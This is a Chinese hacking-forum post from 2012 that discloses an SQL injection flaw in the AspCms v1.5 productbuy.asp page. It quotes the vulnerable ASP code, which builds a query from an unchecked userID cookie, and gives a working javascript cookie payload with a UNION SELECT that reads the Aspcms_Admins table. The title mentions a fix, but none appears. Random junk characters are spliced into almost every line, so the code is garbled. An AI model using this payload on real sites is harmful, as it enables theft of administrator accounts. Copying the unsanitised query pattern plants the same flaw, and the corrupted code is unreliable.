找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2245|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....  R! K2 a  T5 }. l# F5 W: h! h- {
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。4 E; Q" V2 G* N+ j' ?  e) K
废话不多说,看代码:
) b: f4 F) d% c0 I0 S1 Y
& g: T, x/ H0 Q+ E, [) J: I8 Z* u<%- B) q8 a; E4 o% T; T1 x( G' [
3 J5 d, C, p& Z, _" P1 a! L
if action = "buy" then3 F9 M5 P. S+ R5 w0 ~( z# R! x
2 F! S* m) I: `9 V0 Z7 v
        addOrder()
% R2 J2 }+ C8 v+ z
. Z& I1 T: L' x2 welse4 W# B- m/ j* {

' H& {/ C) t4 e1 g        echoContent()
4 X" D7 `1 M) E  ]
/ ~) k7 |. f4 H2 p  {end if
4 K# F1 E. K* E. B' c( E+ N
( @9 v& v2 @0 a( Z) m: ^& R- C; y! M
% ^  p% |+ ~0 k& z2 |) M
……略过( O, y' n) s, u5 B, G
: n; O  }% {. _& X9 R9 C

: |8 q2 Z9 X8 H
5 w. A# |* Y, n2 W* o, d: J2 T: bSub echoContent()
! }9 Z) T/ s: F% |, j- ~; z7 n5 M7 E& E; N
        dim id/ i9 `5 b' s3 x, a
1 E) B  e4 k: F
        id=getForm("id","get")
4 H4 @& r4 F# I" f! L7 y2 i; Y4 Y6 u% b/ |: Y
        
* @! S$ L: V! S. L; b" B, ^$ E' I, r8 F
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
9 k* ]: a' a; F1 j8 E; N. @! n7 W; z
8 \- P* O5 U" C) t        
! M4 G' a8 |8 M/ F) f' {) I
2 ?( |, ?0 j- V5 H& o% p5 Y        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
8 F9 q+ c  o: c% _. s# ~& {8 \' }, _* f$ W% S: p
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct6 ^) l/ ~: A5 Z5 o9 b; j9 w; t
! w* R0 y; ^( u, R
        Dim templatePath,tempStr
# N% \* O9 i% e1 M5 O) G& ]
. ~5 C3 Q0 ]" q        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"1 [( z/ A* a8 j( N

4 i7 X2 [, ]/ r# b  X7 Z  |0 n0 S6 }+ [. d! {/ f' @- i
# _& U: t: z# J9 v' i5 `/ h, ?  U
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")! m) h3 _( A' w& m% N
7 W+ l% n+ i& `; ~
        selectproduct=rsObj(0)
% c. |; [5 a  w- _" a9 B0 h5 s
8 h7 @; E5 Y6 G2 ~$ l2 I! O4 U, H        : O' w. h$ A3 f/ |: M
$ ~5 x, e2 u" J3 m7 Z8 t  o3 V2 x0 \
        Dim linkman,gender,phone,mobile,email,qq,address,postcode5 N, G- d* H# Z
/ `" v1 _1 D: R# ]1 A5 m
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0$ g  Q& s) j" ~5 {# Q! `. v

% ^& N. G+ L. q& y+ u        if rCookie("loginstatus")=1 then  
' n7 G6 l4 ~  }3 d* n0 d6 D* y4 R* e# F& @% a; \2 a
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
3 K8 B, W& W/ R$ V2 Y# i; b- E, b6 G! ?6 j# P3 O. f6 c- |6 j
                linkman=rsObj("truename")
, N. V( I$ D: e6 G
4 M( J3 T, E" M- C, v9 L                gender=rsObj("gender")
: f/ B4 V/ n% z$ F
6 X% e3 z' u( A                phone=rsObj("phone")( `0 c: H: j; G: @1 I4 Z1 Z) H
: R# V, D- p% r( ~: o1 c" Y
                mobile=rsObj("mobile")
+ N( V9 d& P" v& D% Q6 U
& r! G: j  B) `% @1 {                email=rsObj("email")8 z! i6 s7 Y+ D( r7 P: N, G

$ X" ^2 U* {9 B9 S9 M" N4 e                qq=rsObj("qq")3 r& k; i# }2 g: ]5 ~/ q

) `5 s/ |3 y$ }1 d                address=rsObj("address")
7 v0 [. F! I* e9 w' p7 s( w4 D
& S6 X8 Y: B, ]5 V8 V9 j" p                postcode=rsObj("postcode")
9 m' s# {2 z' m9 J9 ^1 C$ a! p2 g+ o) |! A
        else
5 Z) R+ t' N! N# o( ~3 M; B' P) @0 i
                gender=1
6 V$ l) g4 j" e' H7 t: w
! ~1 o% d# }, r1 v) `; T        end if8 J5 n! i# P' v9 r% E* _8 R/ H
( u1 ?& C5 L3 p3 h& _3 C/ L
        rsObj.close()) R) c4 R: ?  e, G% j
4 F8 K5 X' ~! u  s$ A/ x
                , |4 q9 u& }/ q& P- q6 Y  n& d, S

) U6 h' }. H& V" x* [: a, t7 p& I5 \        with templateObj 6 _- A; S0 ]9 v9 o
5 [, P4 [+ C3 j2 u2 m# X$ Q! l
                .content=loadFile(templatePath)        
' J2 b6 N0 t, l" H! L# Y) p: `8 F: L, F9 l
                .parseHtml()
0 @8 @" D* Q0 ~) G% }# k
0 j0 L  w  N6 O1 E                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)% R, n4 p. z% C" ]4 s
3 N7 x  d6 X' P* n
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
/ x% l( y$ C% q" T, U, a, j5 Q# q  A0 y7 k) W
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
& V/ M$ i9 \* H2 i; F! g! J2 Q, ~) X
                .content=replaceStr(.content,"[aspcms:phone]",phone)                2 B0 |- v8 j0 ~
  u7 r9 U' P2 G9 l, \8 t  T
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                - Z! _, W& @+ R2 [: a5 B& Y1 q; G3 M3 K

9 B* i) M! j( _- x  ~7 s- s: }* N7 G& g                .content=replaceStr(.content,"[aspcms:email]",email)                        5 m% {5 W' e: O. e& k
% t* n5 a7 h. l3 z2 v4 a# ]" a
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ' l; F2 V9 q' \

5 X3 \* ~) G: Q" e: ?) j                .content=replaceStr(.content,"[aspcms:address]",address)                        
6 Y1 M5 \. I) Z& E* j# J- ^3 `! |) ^$ p
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        & E0 w5 Q( w: u  L# h) M
: ]# }4 u' ~* X
                .parseCommon()                 
0 ~! Q$ N+ U  g* W& G0 o, D* g( t' r& |6 f2 f
                echo .content ! B4 b% b) J7 u7 [

* h- R& J5 ?4 K6 J        end with
; l1 s5 F! l/ `* |/ I  G" s; D+ U# _4 A  H
        set templateobj =nothing : terminateAllObjects
* F& |7 O. ?2 k: _2 Z1 f+ C0 W7 b" b
End Sub
# y+ |: k8 z& H- t/ [4 c* e漏洞很明显,没啥好说的, Z6 m, e: w+ |; T7 Z7 @
poc:( ?' y0 d8 c2 D& _( W$ l* e* V" ^8 \/ Q' Y
% H8 F* U9 S% J  p: F
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​; ?+ l+ C; {! z1 C

. S) t9 [) V( G$ w$ ]# D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表